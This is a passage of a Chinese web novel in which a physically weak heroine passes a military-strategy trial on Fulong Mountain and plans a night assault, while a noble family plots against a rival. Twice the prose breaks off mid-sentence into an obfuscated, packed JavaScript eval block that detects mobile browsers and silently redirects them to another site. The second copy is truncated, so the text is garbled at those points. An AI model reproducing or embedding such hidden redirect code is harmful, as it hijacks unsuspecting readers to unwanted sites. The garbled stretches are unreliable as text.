武考要测体力,这消息像兜头一盆冷水,把她浇了个透心凉。 她屏息凝神,感受体内,毫无内力波动迹象。加快脚步行了一段,不久即额头渗汗,气喘不已。 跟着的丫鬟焦急唤道:“大姑娘,您慢些,太医说您身子弱,不可急行。” 姜六航慢下脚步,拿手帕擦着额头的汗珠,思绪纷乱如麻。 体力测试她是绝对过不了的。 怎么办?如何踏入那道宫门? 直到躺上床,熄了灯,在一片黑暗之中,姜六航辗转良久,仍然没想出对策。 而此时,裴国公府的书房里,却是灯火通明。 紫檀桌几旁,裴祥光满面笑容地朝另一侧的张炎拱手:“张侯此次剿灭兰州匪患,功勋卓著,皇上必有厚赏,我在此先行道贺了。”又道,“明日我请张侯饮酒,一为接风,二为庆功。” 张炎欣然应道:“裴尚书盛情,却之不恭。” 两人对视一眼,甚是相得。 张炎原为池州总督,天下大乱之时,他寻了一人假扮宣德帝,声称奉帝复位,由此获得许多拥护,成为铁骨军最后的三大对手之一。 宣德二十八年,武成率兵攻打池州,张炎敌不过,归降。 其后他率兵征战四方,扫除各地残余势力,立下大功,去年得封安顺侯。 裴祥光喜他儒将风度,不是那种只知一味打杀的莽夫,一来二去,和他投了缘,两人时常相聚。 寒暄过后,裴祥光试探问道:“皇上可有向张侯透漏,此次有何封赏,可能……晋位国公?” 张炎摆手:“功不至此。” “张侯得皇上信重,总有封公之日。”裴祥光安慰道。 张炎摇头:“天下承平,战事渐歇,军功难得,有一侯爵在身,我已心满意足。治理天下,终究要靠文臣。像裴尚书,日后才大有所为,封王亦有可能。”他似想起什么,道,“说起文臣,今天在宴会上的那位秦修撰,圣眷之隆,令人侧目。” “哼!”话刚落音,旁边传来一声冷哼。 张炎转向满脸愤恨的裴轩,语气关切:“怎么了?可是秦修撰有何不妥?” 裴轩如同找到了宣泄口,立刻将砸马事件添油加醋道来,自然淡化自己过错,只说是秦实故意在御前告刁状。 张炎听完,沉吟着敲了敲膝盖,忧心道:“如此说来,两家这仇怨是结下了。皇上若是被秦修撰巧言蒙蔽,疏远裴家,将来……”他话锋一转,“今日在宴上,皇上对秦修撰那幼子,喜爱之情,溢于言表啊。” 裴祥光端着茶盏的手一颤,茶水溅出几滴,落在手背上。他不动声色地放下茶盏,心中却惊涛骇浪:张炎此言,是随口感慨,还是另有深意? 他抬眼望去,正对上张炎意味深长的目光。对方朝他微微颔首:“裴尚书,可要早做防备啊。”声音很低,却字字清晰。 裴祥光顿时心中雪亮,念头急转,面上却不动声色,道:“多谢提醒。” “这个,张侯不用担心,我们两家结仇,该怕的、该防备的是他秦家。” 听到儿子语中满含的轻蔑,裴祥光暗自摇头。 轩儿心思太浅,全然未领悟张炎话中深意。 张侯说的可不是防备秦实针对自家,而是防备秦实替儿子争夺……那两个字仿佛烙铁,裴祥光思绪转到这里,似被烫了一下,赶紧缩回,可全身上下,若有滚烫热流冲过。 “是是,是我多虑。”张炎笑道,“裴家一门两公,又为皇上本家,何用惧怕于他?”他顿了顿,面上露出诚恳之色,目光紧紧锁住裴祥光,“倒是张某家中几个不成器的小辈,日后还望裴尚书、裴公子多多关照。” 裴祥光眸光骤然一缩。 这是在投诚!在押注! 他倒罢,轩儿一个小小七品官,有何能力关照侯爷家的小辈?除非轩儿来日是…… “张侯言重了。”他应下,“你我相交莫逆,若小辈们有需要之处,裴家力所能及,定当相助。” 送走张炎,裴祥光父子回到书房,让心腹在外面守着。 裴轩再也按捺不住,焦躁地在房中踱步。 “爹,您都看到了,皇上对那秦家小儿喜欢得紧。这么多年,皇上可从没问过我们景程的功课。” “皇上一直不肯改回裴姓,是不是真如秦实那厮所说,深恨裴家?” “皇上是不是铁了心,要把这裴氏的江山,拱手送给姓秦的外人?” “那小祸害不除,后患无穷。呸!秦实那厮,也不撒泡尿照照自己是个什么东西,想替儿子争那位子,他家配吗?罪奴之后罢了!”秦家虽已平反,但那不过是皇帝偏袒,污点是洗不掉的。 裴轩说了半天,不见他爹反应,急道:“爹!您到底怎么打算的?” 裴祥光手指缓缓捻着山羊须:“当年,你大伯将你堂兄带在身边教养之初,曾派人前往秦家当年服苦役的那座矿山,详查其家卷宗。” 裴轩插嘴:“不是说那些记录都被一场大火烧光了吗?” “你大伯查的时候,东西还在,是后来,矿上的人不小心失火,才烧掉的。”裴祥光眼中闪过一道异光,淡淡地解释。 接着道:“那上面记载,秦家大儿媳,于押解途中难产而死。” 这事,如今朝野皆知,裴轩不明白他爹为何说这个。 “今年春,我偶闻一桩三十多年前的异事,有商旅路遇新坟,竟掘出一具女尸,产下活婴,地点、时间恰好与当年卷宗所载相合。” “我起了疑心,立刻派人去查。” 裴轩急切地向前探身:“查到秦实他们头上了吗?” “时过境迁,线索几乎断绝,若能再多些时日,或许能追查到,那样,便可神不知鬼不觉地永绝后患。”裴祥光遗憾地叹气,“谁料还没等找到他,他竟突然现身京城,高中状元。现今在皇上眼皮底下,动手,风险太大。” “再险也得干!”裴轩急得跳脚,“皇上万一真动了念头,立那秦家小儿,我们到时候哭都来不及!” “不许鲁莽行事!”裴祥光厉声叮嘱儿子,“没有我的准许,绝不可轻举妄动!” 他踱到窗边,望着外面沉沉的夜色,一字一字道:“需谋定后动,一击而中,不留半点痕迹。” —— 迎才宴后,姜六航一直怏怏的,时常发呆,家人都看在眼里。 这天晚餐后,在母亲的眼神示意下,一向小大人似的姜元凑到姜六航身边,难得地撒起娇来,小手轻轻扯着她的袖子:“大姑姑,我们明天去东郊家里的庄子上玩吧?那里可好玩了,能捉鱼、掏鸟蛋,看庄户酿果酒、打糍粑,风景也特别美!” 姜六航满腹心事,兴致缺缺,懒懒地挥了下手:“你和小姑姑去吧。” “我和小姑姑去过好多次啦,大姑姑还没去过呢。去嘛去嘛!” 余光瞥见家人关切的眼神,姜六航心头微暖,终是点了点头:“好,去。” 第二天傍晚,马车载着姜六航、姜持、姜元,在姜守的护送下抵达了东郊的庄子。 庄头带着人在门口恭敬地迎接。 下了车,姜持亲昵地挽着姐姐的手臂,指着四周介绍:“姐姐你看,这边是溪流,那边是果林。喏,东边那座山,山上有驻军,平日里负责拱卫京畿。” 姜六航顺着妹妹的手指望去,只见暮霭中,山峦起伏的轮廓在远处若隐若现。她心不在焉地点点头。 庄头老王接口道:“是哩是哩,那山上不单有驻军,还设了个老稀奇的考场,前几年好生热闹……” 正规规矩矩跟在大人旁边的姜元猛地抬起头,眼中爆出一道亮光。 “大姑姑!我想到让你得官的办法了!” 姜六航闻言精神陡然一振,立刻转过头,看着姜元:“什么办法?快说!” “就在那边山上!”姜元的小脸激动得泛红,语速飞快:“那山上设有三道关卡,只要能闯过去,直接授五品官!” 姜六航:“闯关要武力吗?”这是她最关注的。 “不要。” “哪三道关卡?” “三道关卡是……是……”姜元卡住了,求助地看向父亲。 姜守按了按额角,失笑摇头。 还真以为儿子想到了什么好办法呢。 “大妹妹你听说过诸葛亮这个人吗?” 姜六航:“……” 她当然听说过。 武侯诸葛亮,功盖三分国,名成八阵图。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000732|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>可是这个世界的朝代发展完全不同,并没有诸葛亮。 姜守见大妹妹没有回答,心想大妹妹肯定不知晓诸葛亮此人,于是解释:“传说此人有经天纬地之才,隐居山林。他所著的奇书流落世间,恰好被衡王所得。衡王那威震天下的八阵图,便是从这书中习得。” 姜六航手指微微蜷缩了一下。 从别人口中听自己编的故事,真是一种新奇的体验。 至于那八阵图—— 在原来的世界,她家据说为蜀汉姜维后人,祖上传有八阵图残章,历代先辈潜心钻研,有许多心得。穿越到这里后,在先辈钻研的基础上,经过十几年的努力,她终于补全八阵图。 姜守继续道:“衡王说,诸葛亮才华盖世,可运筹帷幄之中,决胜千里之外,纵无缚鸡之力,亦可统御百万雄兵,令强敌闻风丧胆。” 姜守记得衡王说这话时满脸的崇敬、向往。 可史上并没听说诸葛亮此人,也无他的战绩流传。那样的人物隐于山野,未能在史书上留名,真是可惜。 “诸葛亮和那关卡有何关系?莫非,其中一关,”姜六航语气迟疑,“是八阵图?” “正是。”姜守点头,“当初皇上设立武考时,恐怕遗漏了如诸葛亮这般不擅拳脚却有经世之才的能人,特地在东郊驻军处另设了三道关卡。不论出身,不问武功,只考校兵法韬略、临阵决策与统兵之能。任何人,任何时候,皆可去闯。若能连过三关,直接授予五品官职。第一关,就是八阵图。” 五品官职!直通皇宫的通行证! “不测体力?”姜六航强压激动确认。 “不测。”姜守肯定回道。 惊喜来得猝不及防,一条金光大道仿佛就在眼前铺开。 “天还早,我现在就去!”姜六航满心高兴。 姜守望了望西边仅剩一抹残红的天空:“……” 姜元眼神在父亲、大姑姑和小姑姑之间来回转,充满期待。 姜持却有些犹豫。 她担心姐姐抱太大希望,等会儿失望更大。 姜持看着姐姐,小心翼翼地道:“姐姐,那关卡极难。开始设立的时候,很有些人去,但没一个人闯得过,连小裴国公都只闯过第一关。” “第一关,”姜六航顿了顿,“……应该没问题。” 让她去闯八阵图,那不是做自己出的考题吗?纯纯作弊。 要是闯不过,那她不如买块豆腐撞死了。 “第二关是什么?”她问。 姜守:“带兵闯山。” “第三关呢?” “无有人闯到第三关,因此无人知晓。” 只要不考体力,姜六航有七成把握能过关,只是—— “要是我三关全部闯过,会不会……太高调了些?” 她最好的设想,是不引人注目地混个七品小官,再悄然进入皇宫。 姜持:“……” 姜守:“……” 看着姜六航真诚担忧的样子,兄妹俩嘴唇动了动,欲言又止,一时竟不知该如何接话。 妹妹/姐姐啊,你现在担心这个,是不是太早了些? 听说那三关,一关比一关难,要选拔出的,是诸葛亮、衡王那般的人物。 诸葛亮且不知,但衡王,又哪是那般轻易可得? 无人答话,姜六航自己想通了。 两害相权取其轻。 皇宫,她是一定要进的,高调也顾不得了。 如何应对随之而来的瞩目,以及由此引起的暴露身份的危险……兵来将挡,水来土掩! 当然,她会尽力低调一点。 “我这就去!” 姜元:“我跟大姑姑去!” 姜持:“我也去!” 姑侄三人利落地再次登上刚刚下来的马车。 转眼间,只留下姜守一人站在庄门口,看着那辆准备出发的马车,无奈地摇头笑了笑。 也罢,本就是带大妹妹来散心的,既然找到了让她重抖精神的事,由她去玩一玩又何妨? 他不再多想,也登上了另一辆马车。 “走吧,跟去看看。”他对车夫吩咐道。 暮色中,两辆马车一前一后,二十几个护卫骑马跟随,朝着东边那座山峦疾驰而去。 74. 第 74 章 姜六航一行赶到山脚时,天已黑透。 此山名为伏龙山,连绵二十余里,其中潜藏数万兵马,扼守着通往京城的咽喉。山脚下搭着营帐,数千军士常驻于此。 早在姜六航等人接近时,巡查的军士便已发现他们,听闻是闯关者,军士们眼中掠过一丝不易察觉的兴奋,将他们径直引到一座营帐。 帐内,一个三十出头的将领迎了上来。 姜六航目光微微一凝,她认得这人,是当年铁骨军中的一个小首领。 姜守先一步开口:“刘都尉,别来无恙?” “姜侍郎。”刘都尉抱拳,目光在姜六航脸上短暂停留了一下,随即落在姜持身上,“是姜二姑娘要闯关?” 姜守:“不,是我大妹妹。” “大妹妹?”刘都尉面上露出惊讶之色,失声道,“姜大姑娘不是什么都忘记了么?” 姜六航:“……”她的事情,传得挺广的。 听姜守说明情况后,刘都尉递过名册让姜六航登记,又问:“姜大姑娘准备何时闯关?” 姜六航:“现在,可以吗?” “可以。”刘都尉笑道,“姜大姑娘身份尊贵,自然不会服那劳役。是交银子,还是选择禁考两年?” 姜六航:“啊?”闯关还有代价? 姜守利落地掏出一张银票递过去:“我们交银子。” 刘都尉接过银票,脸上的笑容更真切了几分。 姜六航眼睛一扫,已看清银票上盖有夏有钱庄印戳,面额一万,不由得眼皮一跳。 一万两! 一般人家,几辈子都花不完! “姐姐,是当年迟尚书他们定的规矩,怕人一窝蜂来闯,耗费军力。”姜持凑到她耳边解释,“闯不过的,要么无偿服两年苦役,要么两年内禁绝所有选拔考试。” 姜六航:“这交银子,又是为何?” 姜持:“是后来,迟尚书说,历来都可用银子抵劳役,闯关也应依例。有人反对说不公,迟尚书便说,那就定个让富户也肉疼的数目,最后就定下了一万两。迟尚书还说,有官职的也能来闯关,但只能选择交银子。” 姜六航:“……” 难怪姜持先前说“很有些人去”,而非“人山人海”。两年劳役,或是两年禁考,代价确实很大。一万两白银,也足以让富家子弟三思而后行。 “迟尚书可真会捞银子。”姜六航感慨。 姜持连连点头,深表赞同:“是啊。” 姜六航:“小裴国公根本不需要这个五品官,也来交银子闯关,真是有钱人。” 姜持继续点头:“是啊是啊。” 姜六航肉疼地看一眼刘都尉拿着的银票,忽然想到姜持刚刚说的是“闯不过的”,那言下之意,莫非…… “过了关,一万两就能拿回来?”她含着期待地问。 不等姜持开口,姜元抢答道:“嗯嗯!大姑姑你努力,把我们的银子拿回来!” 姜六航揉了揉他的小脑袋:“好,大姑姑尽力。” 等她的手离开,姜元赶紧离她远了点,一脸苦相地捂住脑袋。 他的头发,又被大姑姑揉乱了。 收回手,姜六航环顾四周。 除了小姜元,其余的人,姜守、姜持、乃至刘都尉和帐中军士,眼神里都明明白白写着“重在参与”,没人真信她能闯过三关。 可姜守掏钱时没有半分犹豫,姜持也没有一句异议。 家人毫无原则的宠爱,让她心头暖暖的,也颇有压力。 —— 第一关,八阵图。 刘都尉引着众人来到一片开阔的训练场。 四周火把熊熊燃烧,将场地照得亮如白昼,在地面投下重重叠叠晃动的人影。 场地中央,两百名军士肃立,鸦雀无声,一股无形的压力弥漫开来。他们分为泾渭分明的两队:一百二十人杀气腾腾,已布成阵势,另八十人则目光灼灼地望向高台,等待调遣。 场边一座石垒高台,正是发号施令之处。 刘都尉唤过两名手持黑、红、黄、蓝四色令旗的传令兵,对姜六航道:“姜大姑娘,你先学会用这四面旗下达军令,指挥这八十人破阵,时限半个时辰,之后开始闯关,无时间限制,闯出三十人,即为过关。” 虽然觉得下一句话多余,他还是按照流程,尽职尽责地提醒:“不过,闯出的人越多,对你下一关越有利。” 传令兵上前,开始讲解旗语对应的基本行军口令:冲锋、迂回、合围、坚守……每一个旗语变化都代表着战场上的生死抉择。 刘都尉在旁边看了一会,对姜守道:“我要去巡夜,就不陪着你们了。” 姜守连忙道:“刘都尉自便。” 刘都尉带着一队军士离开。 他走出一段,哼起曲子。 随行的一个军士道:“刘都尉今天得了银子,这么高兴。” 刘都尉笑着反问:“你们不高兴?” “高兴!高兴!”那个军士摸着头“嘿嘿”笑,“差不多有三年没人来闯关了,今天好不容易来一个,一万两银子呢!交给户部八千两,我们还有两千两。刘都尉,用这钱给我们多添置一套衣裳吧,懒得天天洗衣。” “你怎么不连饭都懒得吃?”刘都尉骂了一句,又故意泼冷水:“别高兴得太早,说不定姜姑娘要闯第二关,那关参与的人多,这点银子可不够买衣裳。” 军士哈哈笑:“刘都尉,你怎么不说,姜姑娘会把三关全部闯过,把银子拿回去?” 其他军士都笑起来。 刘都尉也笑起来。 笑过一阵后,他的目光投向训练场方向。 这会儿,姜大姑娘记住几句旗语没有? —— 训练场。 姜六航凝神静听,目光随着令旗移动。 那些口令,那些动作,已是她血脉深处的本能。 铁骨军的点兵台,呼啸的北风,震天的战鼓……一幅幅画面在脑海闪现。 传令兵一口气说完,看着眼前这位安静的女子,问:“姜大姑娘,可听明白了?” “明白了。”姜六航点头。 传令兵:“……” 他怎么就不相信呢? 往年那些闯关的,哪个不是问东问西,要他反复演示三五遍才勉强弄明白,记清楚? “那……可记住了?” 姜六航:“记住了。” 正准备开始复述的传令兵:“……”这顺利得让他心里直打鼓。 姜六航:“我们开始闯阵吧。” 传令兵:“啊?” 姜姑娘这样干脆的性子? 都不练练的? 直接就上? “姜大姑娘。”传令兵好心地提醒,“你有半个时辰学习指挥军队,这才一刻钟都不到,你可以先指挥那八十个军士,练习一下。” 记住口令是一回事,运用又是一回事。好些人当时记得好好的,可到闯阵的时候,一是慌乱,二是确实不知该如何破阵,下的口令错漏百出,前后矛盾,自己人和自己人打起来都是常事。 姜守也连忙道:“大妹妹,我们不急,你多练练。” 大妹妹难得对此事感兴趣,让她多玩玩,不要那么快结束。 姜六航心头一动。 是了,太快了扎眼。 她顺势点头:“那就练练。” 她刻意放缓了节奏,在下达指令时,故意让声音带上一点生涩,甚至在下达一个“左翼散开,弓弩齐射”的口令后,又急忙喊了一句:“呃,注意避开自己人!” 旁观的人都忍不住面上露出笑意。 传令兵道:“姜大姑娘,您下的所有命令,都必须使用旗语,不能自己创词。” 姜六航:“哦,好。” 两遍练习结束,姜六航觉得差不多了,开始正式闯阵。 夜风骤紧,吹动她的衣袂,勾勒出略显单薄的身形。然而,当她站定,目光扫过下方严阵以待的军阵时,她身上的气势,陡然变了。 一种沉凝如山的威势压向四周。 “哥哥,姐姐好像变得有些不同了。”姜持望向高台。 姜守跟着望向大妹妹,心中有些异样。这气势,他只在几个大帅身上见过,应将军、武将军……还有衡王。 “前军——!锥形阵,突进!”清爽的女声穿透夜色,字字清晰干脆。 令旗应声而动,黑旗前指。 下方八十名军士中,前列二十人瞬间如离弦之箭,盾牌相抵,长矛前挺,悍然撞向阵图边缘。 金铁交鸣之声轰然炸响。 “右翼——!东向,冲锋!”红旗在空中挥动。 右侧二十名军士齐声暴喝,涌向阵图东边,原本欲合拢的门户被这突如其来的猛攻牵制,阵型出现了一丝轻微的迟滞。 “左翼——!向南,迂回包抄!”黄旗急挥。 左侧二十人闻令而动,并不硬闯,而是迅速向南方侧翼穿插,试图绕过正面锋芒,插到阵图后方。 阵图中心,指挥的百夫长眼神一厉,厉喝一声,阵内一支小队迎面截向左翼。 姜六航看得真切,语速加快:“左翼变向!西南!后军南突,援左翼!” 蓝旗与黄旗几乎同时舞动。 “两翼!合围!” 喊杀声、兵刃撞击声、指令呼喝声混杂在一起,尘土在火把的光影中飞扬。 高台上,女子身形挺直,衣袂在夜风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“姐姐姐姐姐姐姐姐姐姐!!!!!”姜持像颗炮弹般冲过来,死死抱住姜六航,仰着脸,眼睛里全是崇拜的星星,语无伦次,“姐姐你太厉害了!太太太厉害了!爹说你八岁去了北狄,你肯定是在那边当了大首领,天天带着部落勇士冲杀四方,抢夺地盘,所以这些都在你骨子里。虽然你忘了,可那些打仗的经验、直觉还藏在脑子里,对不对?” 姜六航含糊应道:“嗯,有可能。” 姜元激动得小脸通红,跑过去数人:“一、二、三……” 负责的军士终于从震骇中回神,也过去数人,一会儿后两人一起回来。隔着老远,姜元就挥舞着小手,兴奋地大喊:“大姑姑,出来了六十四人!” “六十四?!” “轰——!”比刚才更猛烈的声浪冲天而起,几乎要掀翻营地上空的夜幕。 “我没听错吧?六十四人?”一个军士满脸不可置信,“当年小裴国公也才带出五十八人。” 另一个军士抓住他的耳朵,使力一转,他“嗷——”了一声,怒道:“你揪我耳朵干嘛?”那军士松开手,一脸梦游的神情,道:“耳朵没坏,是真的六十四人。” “神了!真神了!”旁边一个军士用力拍着自己的大腿。 军士们难以置信地议论着,他们看向姜六航的目光,满是敬畏与崇拜。 姜六航听得十分羞赧。 她是作了弊啊! 饶是如此,也折损了十六人。 真正厉害的是创出八阵图的诸葛亮。 负责的军士走到姜六航面前,抱拳行礼,姿态恭敬,声音带着难以抑制的激动:“姜大姑娘,十六人‘阵亡’,六十四人出阵,第一关通过!姜大姑娘可立即前往第二关,也可歇息一晚,明日再去。” 姜六航:“我现在就去。” 军士劝道:“姜大姑娘,第二关在山上,夜间视线不佳,难度更大,不如等天明……” 姜六航:“我有点急,就现在吧。” 一旁的姜守刚刚稳住心神,正要说话,被妹妹的一句话噎了回去。 你急什么?急着进皇宫? 虽然震惊于妹妹的表现,但他不认为,妹妹能闯过后两关。 军士和他同样的想法,见姜六航不肯听劝,心想白天黑夜也没太大区别,反正都是一样过不了关,于是不再深劝,道:“那好,我这就给山上发信号,布置第二关。姜大姑娘赶过去,时间正好。” 他拿出一个圆筒竖在地上,点燃引线。 “呲——!” 尖锐的啸音撕裂夜空,一道刺目红光冲天而起,在半空中猛然炸开,千万点红色光芒散开,如同一朵巨大的红色花朵绽放。 紧接着,第二朵、第三朵。 半边天空被映得一片通红。 姜六航仰头,呆呆地看着,嘴角扯出一丝苦笑。 低调,怕是不能了。 75. 第 75 章 数里之外,刘都尉和军士们猛然抬头,三朵红花绽放,刺破黑暗。 “通关信号!”一个军士失声惊呼。 三年之前,小裴国公通过第一关,也曾放出这样的信号。 不过那次是白天,远不及此刻夜色中的红花醒目灼人。 刘都尉和军士们面面相视,皆是难以置信。 姜大姑娘,竟真过了第一关? 这才过去多久? 一个念头不约而同地闪过众人脑海:不会真一语成谶,那一万两银子要飞吧? 随即,这念头便被狠狠按下。 不可能! 即便姜大姑娘神勇,第一关带出了四十几人,在第二关三万雄兵面前,也无异于以卵击石! —— 红花映空,万众瞩目,各方涌动。 伏龙山的半山腰,军士冲进一个山洞,喊道:“唐将军,有人闯关了!已经过了第一关,马上就到我们这里!” 唐云脸上闪过一丝讶色,疾步出洞,只见远处夜幕中,三朵红花正缓缓消散。 “速传毛参将、彭参将来见。” 不过片刻,两位身形魁梧的参将便赶至。 洞内火光摇曳,映照着摊开的地形图。唐云目光锐利,指着图上三条蜿蜒山道,沉声道:“毛参将,你扼守东侧山道,彭参将守南侧,两路互为支援。” 彭参将抱拳:“末将遵命!” 毛参将也连忙拱手:“将军放心,我们三万精兵,又占尽地利,任他来人是谁,也翻不出浪来。” 唐云蹙眉,目光落在毛参将脸上:“你这性子怎么总是不改?战场之上,纵是以强对弱,也需万分谨慎。” 毛参将低头:“是,末将一定谨慎小心。” 唐云和两人制定了详细的战略,以及各种状况的应对,又叮嘱了一会,才挥手让两人去准备。 距离伏龙山数十里外,京畿大营。 武成正卸下甲胄,忽闻帐外一阵骚动。她步出军帐,抬眼望去,只见伏龙山方向的沉沉夜幕之上,三朵红花绽开,将天际染上一抹赤色。 “有人闯关,第一关破了!”武成瞳孔微缩,“备马,即刻随我前往伏龙山。” 副将不以为意道:“将军何必在意?就算过了第一关,第二关的三万精兵可不是摆设。此刻赶去,怕是连残局都收拾不上,平白劳累。” 武成缓缓摇头:“天下之大,奇人异士辈出。九年前,谁能想到姜帅横空出世?今日这红花,未必不是另一惊才绝艳之人初露爪牙。” 她话音未落,已利落地披上斗篷,大步向马厩走去。副将见她心意已决,虽心中仍觉多此一举,却也不敢再劝,只得匆匆跟上。 京城内。 武节伯府。 沈以贵遥望夜空中的红光,心口“怦怦”直跳。 是……将军吗? 可是,将军不是去了很远的地方吗? 将军交代,只当没见过他,可知将军不想暴露行踪,又怎会去闯关? 但,京城里,武成和应匡两位将军不会去闯关,裴佑将军已经闯过,不会再去。除了他们三个,还有谁,能闯过八阵图? 是不是将军改变主意,要回来了? 一定是这样! ——将军准备回来的时候,听说了伏龙山的关卡,一时好奇,就先去闯一闯了。 小裴国公不就是如此吗? 沈以贵越想越觉得对,激动地在院子里转了几圈,大叫:“来人!摆酒!” 随从闻声跑来,惊声道:“伯爷,您又要喝酒?” “哭丧着脸给谁看呢?”沈以贵笑骂,“今儿有大喜事。不摆酒了,摆个桌子,上茶!点心瓜果都端上来!” 他就坐在这院中,等着将军闯过第二关、第三关。 “哎!”随从应一声,“伯爷,什么大喜事啊?” 沈以贵目光灼亮:“明天你就知道了。” 勤政殿外。 冯简和几名御林军从红光散尽的天空收回目光,互相对望,眼中都满是惊讶之色。 “统领,要禀报皇上吗?” 冯简:“我进去看看,你们在外守着。” 他进到殿内,里面空无一人。 皇上在密室里,还没出来。 他略一思索,决定暂不打扰皇上,观察后续再说。 —— 伏龙山。 姜六航等人到了第二关的入口处。 山道前火把通明,映照着黑压压的人群。 罗都尉指向面前巍峨的暗影:“这座山头埋伏有三万兵马,姜大姑娘需在两个时辰之内,率军翻过山头,且保存两千兵力,方为过关。” 众人往山上望去,黑黝黝一片,不见半点光亮,只有夜风掠过林梢的呜咽。 姜元懊恼地扯了扯姜六航的衣袖:“大姑姑,该白天来的。这什么都看不见,举火把又成靶子……” “小元元真聪明,知道举火把就成靶子。”姜六航欣喜地摸摸他的头,又道:“无事,我们看不清,对方也看不清,黑夜正适合潜行、突袭。” 她转向罗都尉:“我的兵呢?有多少?” 罗都尉示意山道前列队的军士:“姜大姑娘,这里六千四百人,都归你调遣。第一关你带出六十四人,按规则,每人代表一百兵力。” 姜持眉头紧蹙:“对方三万人,还占据地利,这关卡设置,有些不合理吧?” 罗都尉极为认同,但—— “姜二姑娘有所不知,最初方案原是一人代表两百兵,但被皇上驳回,最后的方案——一人代表一百兵力,是由皇上亲自定下。” 姜守连忙道:“皇上圣明,如此定规,必有深意。” 罗都尉:“正是。”随即命军士上前,“姜大姑娘,请带他们上山吧。” “慢着。”姜持踏前一步,“地形图呢?领兵入山,难道之前不探查地形、不寻向导?就胡乱闯进去?” 罗振眼中闪过一丝赞许:“各位既已想到,地形图自当奉上。”他示意下属取图。 姜守和姜持心中一凛。 这言下之意,若是他们没想到,地形图就不给了? 第二关的考验,此刻便已开始了吗? 姜六航对此似乎早有预料,神色不变:“另请罗都尉备齐所需之物。” “姜大姑娘请讲,规则之内,定当竭力。” “我要油布灯笼、萤囊、长柄镰刀、粗索铁钩、铁蒺藜、防毒面具、驱虫药剂,另需驯禽兵数名……”姜六航语速平稳,条理清晰。 罗都尉越听越是惊讶。 这份清单,绝非泛泛略通兵事者能罗列。 油布灯笼防风、萤囊隐蔽、镰刀开路、索钩攀崖、铁蒺藜断后……特别是驱虫药剂和驯禽兵,这分明是深入丛林作战的老兵才有的经验。这位已失记忆的丞相千金,如何得知? 东西要齐后,姜六航问:“山上领兵的人是谁?” 每个人都有自己的领兵风格,知己知彼,百战百胜。 “是唐云将军。”罗都尉道。 他心中念头急转,按规则,若姜姑娘追问唐将军用兵特点,他需提供唐将军指挥的一些战役的信息资料。 就是不知,姜姑娘是有心,还是只随口一问。 姜六航听闻,点头。 老熟人啊。 唐云将军,唐小豆的父亲,曾是她手下大将,领兵能力很不错,能独当一面。当年许多局部战役,她都放心交给他指挥。 “唐将军手下,在这里守关的将领,有哪些?”姜六航又问。 罗都尉说了彭参将和毛参将。 “是他们。”姜六航眸光闪动,喃喃低语。 “姜大姑娘说什么?”罗都尉没听清。 “没什么。”姜六航摆手,未再多言。 罗都尉见她只问人名,不问详情,心底那点疑虑稍散,暗笑自己多心。 这姑娘许是读了些兵书,有些天赋。但真正的大将,无不在血火中淬炼而出。 他此生所见,似天生便通晓战阵者,唯衡王姜帅一人。 那般人物,百年难遇,一世又怎可能出两个? 姜持见姐姐问完,忙道:“罗都尉,我们可以跟着姐姐上山吗?” “可。”罗都尉应允。 一个文弱书生,一个孩童,一个略有武功的女子,于大局无碍。 地图展开,姜家四人围拢细看。 姜守忧心忡忡:“敌众我寡,且需保存两千兵力。即便战损相当,亦是我方大亏。” 姜持也感棘手:“对方大可拼着损失,也要消耗我方兵力。我们却拼不起。” 两人越说越觉胜算渺茫。 姜元焦急地左望右望着他们,忽然灵光一闪:“大姑姑,我们能不能从树上跳过去?像猴子那样,他们看不见!” 姜六航失笑, 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姜持在兄姐的谴责目光下缩了缩脖子,讪讪道:“……是是,六千四百零四人。” 姜守摇头:“即使如此,对方兵力仍远超我们,且只要攻打其中一路,另两路也会驰援。” 姜持却已振奋起来。 先前毫无希望,现在却是可以一搏! 她积极地出谋划策:“我们选离另两路最远的那条,这样援兵来得慢些。” “不,唐将军肯定在那条路上,我们在相隔较近的两条上选一条。”姜六航道,点着地图上的两条山路。 姜持迟疑:“这两条路太近,援兵两刻钟便可赶至。姐姐如何断定唐将军会在远路上? 姜六航笃定道:“正因这两条路可互相照应,唐将军才会放心交给部下,自己去守那条较远的路。” 姜守和姜持互望一眼。 说得在理。 但这样选择,有利有弊。 有利的是,唐将军不在,自己这边或有机可乘。不利的是,若不能速战速决,则陷入重围。 姜六航指尖点在其中一条路线上:“就它吧。”根据地形,唐云应该会把毛参将安排在这里。 姜持仔细审视着选定路线:“他们会在哪里设伏?” 姜六航鼓励道:“你猜猜?” 姜持凝神片刻,指尖落在一处山隘:“这里,地势险要,易守难攻。” 姜六航拍着她的肩膀赞道:“二妹妹真聪明!” 姜持顿时眉开眼笑。 姐妹二人围绕如何破伏、如何快速穿行热烈讨论,姜元在一旁认真听着,努力理解,偶尔提出一些点子。姜守起初只抱着陪妹妹玩玩的心态,听着听着,神色逐渐变得严肃,也加入进来。 初步定好闯关策略后,姜六航对姜守道:“哥哥,稍后予我三千两银子吧。” 她有大哥给的两万两银子,但不能拿出来。 姜守虽不解其意,仍应道:“好。” 军士整装待发,火把猎猎。 姜六航站到一块大石头上,取过铜制喇叭,凑到嘴边。 “诸位!”清爽的声音穿透夜色,“闯关在即,可敢随我,一战功成?” 场中静默一瞬,应答声响起:“敢!” 六千多人的声音虽大,却少了几分血性。于这些军士而言,这更像一次注定徒劳的任务。 